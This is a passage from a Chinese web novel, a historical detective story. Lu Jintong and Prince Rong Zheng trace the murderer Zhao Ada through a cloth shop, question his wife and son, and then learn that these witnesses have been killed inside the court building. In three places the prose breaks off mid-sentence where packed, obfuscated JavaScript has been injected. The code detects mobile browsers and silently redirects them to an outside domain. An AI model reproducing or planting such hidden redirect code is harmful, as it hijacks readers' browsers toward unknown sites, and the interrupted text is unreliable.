“免礼,”容筝抬了抬手,“布纺中可有一个叫赵阿大的伙计?” 掌柜连连点头:“有的有的,您找他么?前两天大理寺发通缉令的时候我看到了,他是惹上啥案子了?” 路锦瞳插嘴道:“既然你看到了,怎么不去大理寺禀明?通缉令上没写不知道他是何人何名么?” “草民忙不开,让伙计去了,怎么,他没过去吗?”掌柜睁大眼,他扒拉一下旁边的伙计,“叫葛六过来,怎么回事他?!” 不多时一个瘦小的伙计就被带过来了,他有些怯怯的扫了容筝和路锦瞳一眼,随后飞快低下头去,抖着嗓子道:“殿下,掌柜的,有何事要吩咐小人?” 掌柜怒气冲冲先发制人:“葛六,在街上看到赵阿大的通缉令是,我不是叫你去大理寺禀明了么?回来我问你你也说报告给了衙役,怎么殿下那边什么消息都没收到?你给我如实说!” 这掌柜言语中分明是把自己择干净,无论是赵阿大犯了什么案,亦或伙计究竟有没有报告给大理寺,他都一概不知情。路锦瞳眼睛看向葛六,只见他惶恐的看了掌柜一眼,支支吾吾道:“小人……确实是……报给了衙役……” “报给了哪个衙役?你应该还记得他的长相吧?随本宫往大理寺走一趟,亲自辨认,本宫倒要问问他,为什么在收到消息时不第一时间报上来。”容筝冷声道。 赵阿大的身份是今天下午才发现的,还是由衙役走访,进城办事的沼土村村民点明的,而掌柜所说却是前两日通缉令刚贴出来时就让葛六去了,不论是时间还是人,哪哪都对不上,葛六分明是在撒谎。 容筝说罢转头就走,路锦瞳也假意跟上,一直到门口葛六都没反应,容筝停下步子,头也未回地道:“为何不跟上?” 葛六浑身抖得像筛子似的,他最终忍不住了,“扑通”一声跪倒在地:“殿下,小人招了!小人没去,是半路遇上了二公子,他说正好要去大理寺,由他亲自去跟您说。小人不敢违逆,只得答应了。” “那你为何要瞒着?”容筝转回身来。 葛六哆哆嗦嗦道:“公子……公子他不许我说见到过他,也不许和任何人说他去传话了,小人不敢不答应啊。” 路锦瞳下意识脱口而出:“为什么?” “小人哪敢问啊?”葛六哭丧着脸。 ……好吧,路锦瞳闭嘴了,她脑子迷糊了,问的这是什么问题,这不是显而易见的么? 路锦瞳挠挠脸不说话了,容筝转向掌柜:“赵阿大住在哪里,烦请带路。” “好嘞。”掌柜亲自带他出布纺,路锦瞳负责在后头收尾:“麻烦告诉我一下,赵阿大平时和谁关系更好一点?” 那个叫掌柜出来的伙计道:“他这人性格怪癖,总是独来独往,除了和他同屋住着的几个人,我们都与他不怎么熟。” 路锦瞳讶道:“他在你们这里做工多久了?” “也就一年多,”伙计道,“他来的时间不久,还经常被派出去采买,所以我们和他都混的不熟,不过他这人在主子面前很有一套,二公子很欣赏他,经常会单独叫他出去做事,还会给打赏呢。” “你怎么知道有打赏?” “我看见了呀。”伙计小心翼翼往路锦瞳这边凑了凑,他左右看看,确定没有人把耳朵伸过来才小声拢口道:“那次我路过布纺边的巷口,正见二公子给了他一块玉佩,他拿着看了好久呢,看见我就赶紧藏起来了,好像怕我会抢他的似的。” 路锦瞳若有所思点头,她把一块碎银递给伙计:“喏,拿着。” 伙计一愣,随即喜笑颜开的收下。 容筝和掌柜正在门口说着什么,还未走,应该是在等她,两匹马被牵到一旁喝水,没有要再牵过来的意思,路锦瞳踱步过去,容筝见她来弯了一下眉眼:“走吧。” 锦绣布纺伙计住的地方并不远,这铺子是朱章的嫡妻阮氏成亲时娘家带来的陪嫁,自然也是一直由她来管,早在很早之前阮家就特意为伙计们包下一处院子,盖满了房间,专门让锦绣布纺的伙计们住,路程近是为了方便他们加班。 路锦瞳听掌柜讲解不禁咂舌,看来无论什么时代,人们都逃不过做牛马的命运。 进宅子前掌柜顿了顿,他视线向路锦瞳这边瞟了一眼,小声道:“殿下,住在这边的都是男人,这位姑娘进去不太方便吧?” “我听见了哦,”路锦瞳在他后面阴恻恻地说,成功把掌柜吓了个倒仰,她哈哈笑道:“不用顾及,只要里面的人没有不穿衣服就行。” 掌柜看了她一眼,意味不明,随后殷勤道:“殿下请。” 屋中一个人都没有,掌柜说他们都去上工了,他指向一个床铺,又指了一个柜子:“殿下,这是赵阿大的。” 容筝弯腰摸索床垫,不经意道:“你记得这么清楚?” “是啊,”掌柜道,“赵阿大是由二公子特别引进的,草民得好好对待啊,当初他过来的时候就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987169|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草民亲自带他过来的,床位当时只剩这一个,草民当时还想帮他搬东西呢,只不过他不让,像是怕我对他的东西做点什么。开玩笑,虽然是二公子引进的人,但看他那样也就是个农民,我有啥好贪图的。” 容筝没再接话,亲自揭开被子和褥子,看下面有没有藏什么东西,或是有什么暗门之类,掌柜看他还要半跪去看床底,连忙拦人:“殿下,殿下,让草民来吧。” 那边有容筝,路锦瞳也就能放心,她转头去看柜子,这边的柜子有点像高中那会儿的宿舍,不过很长一排,并不是上半截一个人下半截一个人那种,柜门上还有锁,大约是怕他们会干些偷鸡摸狗的事情搞坏同僚之间的关系。 路锦瞳转头问掌柜:“这个柜子有备用钥匙么?” 掌柜摇头:“没有,只有一把,为了防止有人会拿备用钥匙做什么,我们都不多配的。” 好吧,路锦瞳无奈,准备拿出她的看家本领——撬锁。 附近也没个棍子或者斧头啥的,不然干脆劈了就好,还好她之前学过撬锁一百八十种方法,不然还得想别的办法。 路锦瞳正撬的认真,容筝的声音从耳侧传来:“让一下。” 嗯?路锦瞳疑惑的挪开,见容筝摸出扇子来,在锁上一击,便将它劈开了。 路锦瞳:(⊙o⊙) 这就是传说中的内力吗?太厉害了,她能不能学啊。 要不是还有人在,路锦瞳就要一个滑跪然后叫一声师父了。 内力多酷啊,她也想学! 容筝收回扇子,温温道:“你找吧。”然后慢悠悠回床前去了。 路锦瞳瞠目结舌的打开柜子,里面的东西并不多,全都是衣服,她一件一件拿出来抖,在抖到下面的其中一件时,掉出一个布包,路锦瞳好奇打开,发现里面装了密密麻麻的针。 ……这是男版容嬷嬷么?容嬷嬷只是用针扎人惩罚,还没到杀人的地步啊。 虽然没有办法鉴定这布包一定是赵阿大的,但仅凭钥匙只有一把并且还在赵阿大身上,柜子和锁又没有明显的破坏痕迹,起码能断定柜子只有钥匙或者撬才能打开。接下来要做的,就是问问和赵阿大一起住的人,看看能否断定这布包是赵阿大的没错。 唉,没有指纹检测真不方便啊。路锦瞳挠挠头,又要长脑子了。 除了布包之外,路锦瞳还发现了一件带血的衣服,那是一件黑衣,虽然是黑色,但局部染了血还是能看出不同的,她将衣服拿在怀里,去问掌柜:“丞相千金宋云知遇害那天,赵阿大回来过么?” “那天啊,”掌柜沉思,随后摆手,“记不得了,而且我也不在这里住,姑娘你应该问同住在这房间中的,或是宅子中的人。” 路锦瞳顺杆子爬:“那就麻烦您等会儿回布纺后把与赵阿大同住的几位找来了。” “好嘞。”掌柜答应的很快。 路锦瞳把布包包在黑衣中,跟着掌柜回了布纺,他效率很快,几下就将同屋的三个人叫了过来,自觉退下不打扰他们的问询。 “知道丞相千金遇害的事么?”路锦瞳问。 “知道。”那三人忐忑点头,还以为自己犯了事,争先恐后的为自己辩解,“大人,我们可是老老实实的,从来没做过坏事,也没杀过人,连偷东西都没有,您要问我们什么啊?” 路锦瞳安抚:“只是例行问话,不要紧张,就回答几个问题就好,知道的就说知道,不知道的说不知道就行。” 容筝也摆出一副好说话的样子,好歹先让他们坐住了,路锦瞳便又道:“那天的事你们还记得么?记得清不清楚?” 18. 第 18 章 三人都点头:“那天和平常没什么不一样的,就是在后面染布,我们每天要做的事都差不多。” 路锦瞳点点头:“那天,赵阿大回来过么?” 三人对视一眼,有两人都摇头,其中一个犹小心翼翼道:“我看见了。” “细说一下。”路锦瞳眼睛一亮。 那人登时被八双眼睛盯着,他有点不好意思,挠了挠脸:“我半夜想起夜,迷迷糊糊中听到门响,睁开眼看到赵阿大小心推门进来,我以为他是怕我们被吵醒才故意动静小,刚想喊他一声,却闻到了一阵血腥气。那阵气味很淡,不仔细闻的话不真切,我家是杀猪的,所以我对血腥气比较敏感,当下就闻出来了。” "然后呢?" “然后他就脱了衣服上床睡觉来了,我期间听到柜子开合的声音,他应该是把衣服脱下来放进柜子里去了。”那人道。 按照这个说下来,路锦瞳从柜子里找到的那件带血的黑衣就是赵阿大当天晚上回来时穿的,这么想着,她取出黑衣中包着的那个小布包,放到桌上,给他们三个人认真观察的机会:“你们看看,这个东西是赵阿大的么?” 这次讲话的是另一个,他连声道:“是的,不过他经常在身上带着,也不明着往出拿,总是偷偷摸摸的,偶尔二公子派他出门采买他就会从柜子里偷偷拿出来装进怀里,我看见过不止一次。” 另外两人附和:“对对对,我们也看到过。” 看来赵阿大杀人时手段利落,平常却不怎么会反侦察啊,那些东西他不能提前备好么?比如说布包专门放在一件衣服里面,等之后出去办事的时候专门穿那个,如果想换件干净的,等同居的室友出去了再换多好,非当着人家的面装没事人。 到这里,赵阿大的身份已经完全能断定了,就是他杀了柳絮和柳烨,而经常安排他做事的朱二公子疑似他的主子,经常会安排他打着采买的旗号出门做事,很有可能与这次的事情有关,还需要把人叫来调查。 锦绣布纺回大理寺的路不远,接近闹市,他们也不好在街上纵马,路锦瞳牵了缰绳慢慢的走,她道:“殿下,朱二公子与丞相府的那位五公子关系很好么?” “是,”容筝道,“他们很小的时候就是朋友了,关系比同府的兄弟还要更亲厚些。” 他看着路锦瞳没什么表情的脸:“你怀疑,与朱允怀商议的是宋云衡?” 路锦瞳根据前文将他们的名字对号入座,她说:“不排除这个可能,之前我们去丞相府的时候那个下人不是说了么?那位公子是朱尚书家的,并且还与五公子交好,联合赵阿大的事情,是他的可能性很大,我觉得,我们应该去试着问询一下这两位公子,并且与丞相和尚书大人提前通知一声,免得惹了他们心中不快。” 接下来的话她没说出口,就算是提前说了,那两位大人也不会心中毫无芥蒂,官场就是这样,在这样的岗位上,不得罪人那是不可能的。 容筝却看出了她还有未尽之言:“还有什么想说的,一并说出来罢,与本宫可以随意说,本宫不会传出去。” 路锦瞳便说了,反正这也不是什么不能说的:“我只是觉得,按照我们之前的猜测,幕后之人为了不被挖出来,选择将属于浅表层的人推出,甚至我们都不知道这两个人是否真的参与了进去,把他们推出来的人是谁?他们为什么心甘情愿的为他们做事。” 她的声音沉了下去:“还有,他们的父母,不知道他们在做这种事么?” 有没有可能,这些是他们的父母指使的呢? 路锦瞳没说这句,她觉得不太可能,如果猜测正确,那他们两个被推出来不就意味着背后的推手是他们的父母么?哪有父母会把孩子推出去背锅的? 可如果不是他们,他们二人这么心甘情愿的做事也有些说不通。 路锦瞳拧着眉思考半晌,还是决定先不想了,等把朱允怀与宋云衡带回来提审,问出什么东西之后再推测吧。毕竟这世上不爱孩子把孩子当工具的父母还是挺多的,她也不能一概而论。 再回到大理寺时天已经快黑了,容筝正打算开口让她回去,就有衙役跑着来报告:“殿下,我们找到了赵阿大的妻儿。” 容筝道:“她在哪里,带我们过去。” 为了方便,衙役将赵阿大的妻子林氏安排在了赵氏屋子的隔壁,赵氏见她刚来,又哭的一脸泪水,想到了自己前几天刚来的时候有多无助,忍不住前去帮她,又把好吃的拿出来哄孩子,忙得团团转。 看到路锦瞳过来,赵氏很友好的向她笑笑,她面色比前些日子好了很多,只是还很憔悴,兴许是因为林氏的到来,让她重新忙了起来,这才勉强从丧夫丧子之痛中透气。 路锦瞳不忍告诉她她现在照顾的人的丈夫正是杀害柳烨的凶手,如果说了她怕赵氏可能会承受不住,就算是要说,那也不能是现在,起码得等她离开这间屋子。 赵氏知道他们是来办公务的,自觉退开,她本想把孩子一起牵走,却被路锦瞳拦了住。 路锦瞳也不想让这么小的孩子承受那些,可这个案子很重要,小孩子是不会说假话的,如果他知道什么,哪怕被家里人告诫了不许说,但只要稍一恐吓,他就会被吓哭,不该出现的信息也会说出来。 幸好这个孩子还小,是能吓出来的,如果大一点恐怕就不行了。 容筝看了她一眼,还是什么都没说,赵氏忍不住道:“姑娘,孩子在这种场合不太好,会留下阴影的,还是让他出去吧,他一个小孩子能知道什么?” 路锦瞳却道:“小孩子说不定知道的比大人还要多,大姐,这事您别管了,我自由考量,不会吓到她的。” 赵氏本还想说点什么,却见不仅是路锦瞳,容筝也没有要阻拦的意思,知道自己没什么说话的权力,只好悻悻离开。 恐怕要在她心中留下无情的印象了。路锦瞳心想。 衙役自觉退出来,容筝帮路锦瞳拉出椅子,路锦瞳道了声谢,将孩子推回林氏面前。 “我们有几个问题要问,不要紧张,回答几个问题就好,知道的就说知道,不知道的说不知道就行。”路锦瞳又搬出那套说辞。 林氏忐忑的点点头。 “你知道你丈夫是做什么的么?” 林氏细声细气道:“他是锦绣布纺做工。” “他常回家么?” “差不多一个月回来一次吧,有的时候两个月才能回来一回,他工事忙,听说主家公子特别重视,经常会派他外出办事。” “多余的你一点都不知道?你有没有听他说起过什么不是工事的事情,比如朱家,朱二公子?”路锦瞳循循善诱。 林氏认真想了想,随后摇头:“他很少跟我提起布纺的事,我问起来,他也不说,让我少问,我要他请一起做活的朋友来家吃顿饭他也不许,说自己在布纺啥朋友也没交到……大人,姑娘,他是不是犯啥事了?” 路锦瞳和容筝对视一眼,赵阿大是真凶显然已成事实,物证有了,物证的人证也有,告诉林氏是迟早的事。路锦瞳叹了口气:“殿下,你先带孩子出去吧,等会儿再进来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996895|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容筝一点头,他向孩子伸出手去,孩子怯怯地看了林氏一眼,在林氏点头后才敢把手搭进容筝的掌心。 “事已至此,我就不瞒夫人了,”等他们离开,门也关上后,路锦瞳才这么说,她直视林氏的眼睛,“这几天,无论是京城亦或是金陵,城中都防范森严,夫人即便是在沼土村,想必也有所耳闻。” 林氏惶惶然道:“是,我听村长说,是京城出了事,丞相家的千金和丫鬟都被人杀害了,就连进京寻丫鬟的人也死了,官兵没抓住人,怕凶手跑了,才让几城严防布控的。” “你说的不错,”路锦瞳道,“那我现在来告诉你,丞相千金宋云知,他的丫鬟柳絮,柳絮的舅舅柳烨,都是你的丈夫赵阿大杀死的,有人看他带走了柳烨,我们也从他的柜子里找到了作案工具和当时所穿的衣物。他现在还在逃亡,我们不知道他在哪里,如果你知道,我希望你能告诉我,别再让他一错再错了,就算是为了孩子。” 林氏像是被人迎面泼了一盆凉水,整个人都怔住了,随后她不可抑制的发起抖来,连声音都是颤的:“你说什么?他杀了人?” 路锦瞳无奈的点头:“没错,如果不是证据确凿,我也不会告诉你。” 林氏眼中泛出死灰,她几乎要坐不住凳子,身体也摇摇晃晃,路锦瞳连忙起身去扶她,轻声安抚:“我知道你无法接受,可你要分清轻重缓急,如果你知道什么,或者说听到了什么不对劲的事情,一定要告诉我,哪怕是一点点,你觉得有一点点的不对劲,都要和我说。” 林氏泪水滴滴答答落下,几乎是顷刻间便铺了满脸,她肩膀耸动,低声呜咽起来。路锦瞳叹气,轻抚她的背,不再说话了。 她实在是学不会安慰人,让林氏自己消化吧,这种时候不说话要比说话好得多。 尤自哭了一会儿,林氏逐渐缓过来了,她努力抑住抽泣,胡乱用袖子抹着脸上的泪水:“好的,我想一想,我仔细回忆一下,尽量不遗漏……” 路锦瞳尴尬的摸摸身上,好嘛,一张帕子都没有,她的帕子去哪里了,贵女们不都应该有一块么?她还想着拿来给林氏擦擦眼泪呢,现在好了,只能看着人哭,连个拭泪的东西都拿不出来。 好在林氏沉浸在悲伤中没有顾及这些,看着她慢慢停止哭泣认真思考起来,路锦瞳就先从屋中出来了。 “怎么样了?”容筝问。 “她还需要时间接受,先不打扰了,一会儿再问也行,反正也没什么好问的了。”路锦瞳回答,她看向还牵着容筝手指的孩子,“我们先问孩子吧,去另一个屋。” 容筝先是一怔,随后缓慢点头,他道:“真的要问孩子?” 路锦瞳耸耸肩:“我知道这样做确实有点残忍,可是,我们不能放过任何一个能得到线索的机会,如果我们动了恻隐之心,那九泉之下的宋云知和柳絮,还有柳烨都不会瞑目。你放心,我会把控好力度,争取不吓到孩子。” 容筝犹疑之色逐渐褪去,他颔首:“好。”随后牵着孩子进了另一间屋子。 也不知道容筝是怎么哄孩子的,明明刚才从屋中出来时孩子还有些戒备,路锦瞳和林氏聊了一会儿的工夫,孩子就很依赖他了,到了屋中也不肯松开他的手。 路锦瞳摆出一副亲和的样子:“浩浩,你喜欢你爹么?” 赵浩如小鸡啄米般点头:“喜欢。” 路锦瞳便笑:“你娘说你爹回来的次数少,那他回来之后会陪你玩么?你们一般玩什么?” 赵浩啃手指:“爹回来会带我玩捉迷藏!我喜欢玩!” 19. 第 19 章 “是么?”路锦瞳把嗓音夹起来,“那浩浩和爹玩捉迷藏的时候爹一般要多久能找到你呀?” 赵浩闻言不满的嘟起嘴来:“爹爹每次都能很快找到我,一点都不好玩。” 路锦瞳摸摸他的头:“没事啦,浩浩现在还小嘛,长大了就会很厉害了。” 好了差不多了,路锦瞳实在是哄不下去了,她觉得自己已经差不多让孩子觉得她很亲近了,接着引入话题就行。路锦瞳正待再问,赵浩就又道:“以后不要和爹一起玩捉迷藏了,一点都不好玩,不光很快结束,他还不专心。” 孩子都说下去了,接着讲也浪费不了多少时间,路锦瞳很有耐心的接话:“为什么这么说呢?” 赵浩很不高兴的说:“前些天爹爹回来,都说好了陪我玩,结果我藏了半天爹爹都没找过来,我等了好久,实在是躲不住了,打算去找爹爹,可他在和一个爷爷说话。” 说话?和一个爷爷?路锦瞳敏锐抓住这个点:“什么爷爷啊,是你们村子里的么?” 赵浩摇头:“不是,爹爹对那个人可尊敬了,还向他行礼呢。” 赵浩这么说着,一边学着当时看到的赵阿大那样俯首作揖。 路锦瞳瞳孔一抖,她眼睛慢慢亮起来:“浩浩,你听到他们说什么了么?” 赵浩皱起眉头细细想了一阵,随后答:“我记得他们说‘交给你了’、‘不什么使命’的,爹爹向那个爷爷拜了好几下呢,他们很严肃的样子,我不敢上去打扰,因为爹爹在忙的时候不喜欢被打搅。” 奇怪了,如果此事只有朱允怀和宋云衡参与,那老头是哪里来的?莫非是丞相或尚书大人? 路锦瞳和容筝对视一眼,她扶着赵浩的肩膀认真道:“浩浩,你再仔细想一下,那天,和你爹说话的那个爷爷,你看清他的样子了么?如果没有看到,那你记不记得他穿什么衣服,梳什么样的发型,胡子是白的还是黑的亦或是黑白相间的?” 赵浩又看向容筝,容筝仍是向他微笑点头,他才小心翼翼道:“当时已经不早了,天太黑了,我看不太清,只能看到那人的侧脸,但是一定是深色的衣服。至于头发和胡子……我没看到有白的,可能里面夹杂了几根说不定,但一眼看过去肯定是没有的。” 路锦瞳看了眼容筝,见他向她点头,便道:“好,那浩浩现在这里等一等,等一下就可以见娘了. 赵浩乖乖点头,路锦瞳和容筝出门,正有衙役端了盘点心过来,容筝伸手接过,他迎着路锦瞳的目光笑道:“小孩么,喜欢吃这些东西,再加上在山里躲了很久,肯定早饿坏了,给他些东西吃。” 路锦瞳竖起大拇指:“殿下也太细心了。” 她都完全忘了呢,光急着和容筝出来问他有没有头绪了,也难怪她不得小孩子的欢心。 容筝微微歪头,他也比了个竖大拇指的手势:“这是何意?” 路锦瞳笑道:“就是说殿下您很厉害,这是‘很厉害,很棒’的意思。” 容筝失笑,他很郑重的道了声谢,随后推门进去给小孩送糕点了,路锦瞳不禁对他刮目相看,她一向对耐心很好的人有好感。 等容筝出来,路锦瞳早已迫不及待:“殿下,还没问你,刚刚赵浩描述的特征,你知道是谁么?如果你觉得大海捞针无法分辨,那我给你划个范围,您觉得是丞相像,还是尚书大人像。” 容筝有些惊诧,没想到路锦瞳还是没把嫌疑从他们二人身上扯开,他略一思考了一下,随后道:“本宫觉得,更像朱大人。朱大人较年轻,丞相大人因为年轻时多于奔波,白发较多。” 路锦瞳又陷回沉思,身后传来“吱呀”一声响,她闻声回头,见林氏红着眼眶推开门,她轻声道:“姑娘,我想到了一点东西,你进来吧。” 路锦瞳激动的大迈步进去,险些被裙子绊倒。 好在门框就在身侧,她手一撑站稳了,因为心急便用脚向后蹬了一下,然后快步进去,容筝看着她裙尾的大黑脚印陷入了沉思,默默跟了上去。 “他前两天回来过,让我们赶紧走,说先去沼尾峰的山洞等他,注意别叫人给发现了,等他过去找我们,我们一起离开京城,回老家去。”林氏声音还有点哽咽,但头脑依旧清楚。 路锦瞳问:“沼尾峰山洞很多吧,你们怎么约定在哪一个呢?” 林氏道:“他早年带我出去跑过生意,有时晚了我们经常会在一个山洞住着,山洞里我们还放了日常用品,后来他去了布纺,不让我再跑了,但我总想着多赚一点是一点,就趁着他经常不在家还往金陵跑,孩子就交给邻居大娘,大娘是个好人,愿意帮我看孩子,还给孩子做好吃的,我不知道怎么报答,每次出去回来都要捎点用的给人家,算是还人情。” 这么说着,她就又有眼泪落下,路锦瞳没有打断,她能懂林氏现在的心情,她实在是太难过了,需要一个宣泄口,可她无处诉说,只能借着问问题的时候多讲一点,好似这样就能将胸口的大石稍微挪开一点。 看她讲完那句之后没有再开口的意思,路锦瞳才又道:“你们老家不在这儿?” 林氏摇头:“在荆州,我们两个在一起其实家里都不同意,是私奔出来的,阿大说不会让我爹娘看不起他,他会给我好生活,所以就带我来了京城。这次他说要带我回去我还奇怪来着,他明明一直都很排斥回去,因为他觉得他还没混出名堂,还不足以让我爹娘对他刮目相看。” “那你知道他会功夫么?” “知道,他家开武馆的,他爹打拳很厉害,阿大从小就跟着学,自然也不会很差。我们这些年做生意遇到过不少劫匪,都是他打跑的。”林氏吸吸鼻子。 路锦瞳解开了部分疑问,便不再问下去:“你接着说。” 林氏便道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012564|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他丢下让我们去山洞等他的话就走,任凭我怎么问都不告诉我究竟发生了什么,我想着当时他没吃饭,衣服也弄脏了,特别狼狈,不清楚发生了什么事,就抓了馒头和一些碎银去追他。您也知道,出门在外的,没有钱没有吃的受不了,我不知道发生了什么,但总不好让他受苦。” “我追出去时他还没走远,我看他和一个人在说话,那个人我认得,是朱家二公子,之前我去布纺给他送东西的时候见过,二公子相貌好看,我记得清楚。”林氏道。 “可听清他们说什么了?”路锦瞳问。 “阿大不喜欢我们参与进他的工事里,我就没走近,只远远的看到了。”林氏说。 路锦瞳挑了挑眉:“那么晚,天色那么黑,你怎么知道是朱二公子的?能看清么?” 林氏卡了一下,随后点头:“能看清,我视力好,而且朱二公子的身形我也记得,我们见面的次数挺多的。二公子待我家不错,还曾来做过客,我与他还挺熟,肯定不会认错。” 路锦瞳看着她的眼睛,林氏被她看久了不觉心慌,她忐忑道:“怎么了?” 路锦瞳皱起眉,她摇头:“没什么。” 没什么要问的了,嫌疑人几乎锁定,现在要做的是把朱允怀和宋云衡带到大理寺来逐一审问,重点在他们的身上。 更重要的是,赵浩看到的那个人究竟是不是尚书大人朱章,寻找赵阿大依然不能停止,他身上有太多的秘密,只要能找到他,一切困难都能解决。 容筝让人把赵浩从隔壁房间带过来,看着他们母子团聚,林氏抱着赵浩不肯松手,眼泪啪嗒啪嗒,几乎要把赵浩淹没,路锦瞳看了一会儿,不忍打扰他们母子,和容筝一起离开了。 路锦瞳又去敲了赵氏的门,赵氏也是眼眶红红的开门,仿佛也是哭过一场,路锦瞳联想到林氏和赵浩,好像能懂她为什么要哭。她忍了又忍,还是道:“林氏和孩子,还得麻烦您照顾,我还要事,恐怕顾不上他们。” 赵氏连连点头:“陆姑娘放心,交给我了。” *** 房内,林氏仍抱着孩子,她手还有些发抖,体温凉的吓人。 赵浩依偎在她怀中,察觉到她的颤抖抬起头来,疑惑道:“娘,你很冷么?是不是病了?” 林氏努力向他挤出微笑:“没有,娘没事,娘抱着你就好了。” 她擦了把脸上的泪水,又将赵浩抱紧,努力调节呼吸,试图压下心中的恐惧。 又是“吱呀”一声,门响了,林氏下意识抬头,看到来人时她惊喜的笑出来,几乎是迫不及待地开口:“我已经按照您要求的说了,您可不可以放过我的孩子?您饶了他吧,让他离开吧,您让我做什么都行!” 似乎是怕被人听到,林氏压下声音。 “你做得很好。”来人说,“我会让你和你的孩子永远在一起。” 20. 第 20 章 今天实在是付出了太多的脑力,路锦瞳晚饭吃的格外多,路钊和陆绾都被她吓到,一边战战兢兢的给她夹菜一边小心翼翼问:“小锦,中午大理寺没放饭么?” “放了,”路锦瞳抽空抬了个头,“但是下午好累,我特别饿。” 急急忙忙丢了这话,她就又埋下头去吃,生怕下一秒路钊和陆绾会来抢她的饭似的。 只可惜她刚吃饱喝足,要回屋看书学习时,容筝身边那个经常接送她上下班的侍卫就麻烦了小厮来通报,说找她有事。 路锦瞳带了一头问号出去,奇了怪了,之前找到赵氏的时候也没见他们大晚上的过来通知,这回是怎么了,发生了什么大事?不是说好的明天去丞相府和尚书府把宋云衡与朱允怀带至大理寺么,应该不会是提前把他们带回来问到了什么特意来向她报告的吧? 余景先向他作揖:“路姑娘,不好了,林氏、赵浩还有赵氏都死了。” “什么?”路锦瞳本来还有些迷糊的脑子顿时清醒过来,“他们都在大理寺,怎么可能会死?怎么死的?什么时候死的?” 余景叹了口气:“死亡时间还不能确定,徐大人在做尸检。他们确实都是死在了大理寺,因为她二人都是女子,我们为了不打扰都尽量不往那边走,是陈叔发现了不对,因为平日里赵氏吃过饭后会来帮着一起洗碗打扫,今日却迟迟不来,便亲自去查探,才发现她们都死了,尸体也凉了。沈大人和殿下怀疑有内奸,正在逐个排查,殿下希望你能也一起来推断,就叫属下来叫您。” 路锦瞳听完,整张脸都沉了下去,她让门口的小厮去向路氏夫妇传话,说晚上约莫是回不来了,径直提裙上了马车,直奔大理寺,她一刻也等不了了。 大理寺仍是灯火通明,衙役狱卒,包括平常处理文字工作岗位上的人都统一在院子里,以沈知安为首的几名官员打着火把,正一批一批的挨个审问,气氛及其压抑。 容筝负责旁听,他眼尖,见路锦瞳进来便急忙迎上去:“你来了。” “殿下,”路锦瞳向他打了个招呼,“现在情况如何?” 容筝道:“还在问,也在清点人数,除去请假、外出办案的,还在看谁不在这里。” 路锦瞳点头:“验尸结果出来了么?” “出来了,”容筝道,“徐大人的检查结果是,在我们离开后不久,她们就遇害了,赵氏之所以被牵连,是因为她给林氏母子打了饭,给她们送来时见到了凶手,凶手为了防止她刺破身份,就把她也一起杀了。” 他看了看路锦瞳,轻声问:“你还好么?” 路锦瞳戴了帷帽,他看不清她的脸,不知道她现在是什么样的神情,但从周身的气压来看,她应当是很生气。容筝能理解,连他都生气,凶手此举简直是在向他们宣战,根本没有把律法和人命放在眼里,明明知道圣上都关注这桩案子,还敢在太岁头上动土。 “我没事,”路锦瞳说,她越生气就越冷静,“依我看来,他们此举依然是杀人灭口,赵氏作为重要证人被我们保护在大理寺都多少天了,一点事情都没有,内奸也并未有所举动,为何偏偏林氏来了他们就动手了?还是在林氏向我坦白一切之后?” “林氏的证词有问题?”容筝问。 “一定是有很大的问题,她的证词简直是将幕后凶手就是朱允怀这件事挑明了,恨不得我们即刻去抓人。”路锦瞳啃指甲,“此举分明是在掩盖什么,虽然如此,我还是怀疑幕后之人是朱家的。殿下,朱章和朱允怀的关系好么?如果没有了这个儿子,对朱章的影响大不大?” “朱章一向不喜朱允怀,据说是朱允怀的生母不讨他的喜欢,从小就一直冷落,到了现在他也没有多在意,家中地位可有可无。”容筝带着她先进屋,深秋的夜晚还是有些凉,路锦瞳来的着急,没有穿得特别厚,“本宫会去调查一下,看看你所想的是否真实,只是……我们还是要等明日下朝后才能去提审宋朱二人,对于丞相,不能逼得太紧。” "我知道,今晚我便住在大理寺,一直到明日,我要去审问他们两个。"路锦瞳咬紧牙关,“我一定要知道把他们两个推出来的人是谁,他杀了这么多人,必须要付出代价。” “好,”容筝也不强迫她回去,决定了叫她过来,那就预想到了这样的结果,只是,还是于路锦瞳的名誉有损,他正低头想着如何道歉,路锦瞳却突然道:“殿下,多谢你今日叫我过来。” “什么?”容筝有点懵。 路锦瞳笑笑:“如果是旁人,一定觉得女孩子家家的大晚上乱跑什么,怎么能去男人那么多的地方过夜。可我觉得没什么,我爹娘也觉得没什么,于我来说,案子就是第一位,如果您今夜不叫我,反倒是叫我明日来了才得知,我说不定还会怪您耽误了我得知第一消息的机会,感谢您没戴有色眼镜看我。” 